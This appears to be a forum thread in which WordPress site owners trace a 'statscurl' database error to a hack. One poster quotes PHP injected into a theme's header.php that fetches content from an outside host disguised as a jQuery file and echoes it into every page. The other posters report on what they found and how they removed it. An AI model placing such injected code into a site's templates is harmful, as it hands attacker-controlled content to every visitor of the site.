Error Message: Couldn't connect to database server.

Check your database credentials with your hosting provider.

statscurl must be a database not wp db. Its a hack i think. Its coming with all wordpress 3.3 upgrade.

I have seen lots of website having same error

http://irishalien.com/

http://www.billyfranks.com

http://hubtan.com

In the folder containing your selected template, there is a header.php file. Just above </head> there is the following:

<?php

if(function_exists('curl_init'))

{

 $url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js"; 

 $ch = curl_init();  

 $timeout = 5;  

 curl_setopt($ch,CURLOPT_URL,$url); 

 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); 

 curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); 

 $data = curl_exec($ch);  

 curl_close($ch); 

 echo "$data";

}

?>

That is the source of the:
SELECT statscurl_id FROM statscurl WHERE statscurl_ip = ”;

I just commented it out and all was well.

i have wp v3.2.1 i’ve not upgraded yet to v3.3 and the error is there … so is not a v3.3 error ….
any ideeas how i can get rid of it ?
i’ve disabled all plugins and everithing and the error is still there ….

Wow! This is insane! I’m not doing anything but it gets worse – now I get:

`You don’t have permission to access /backlinker.php on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at 4llw4d.freefilesblog.com Port 80`
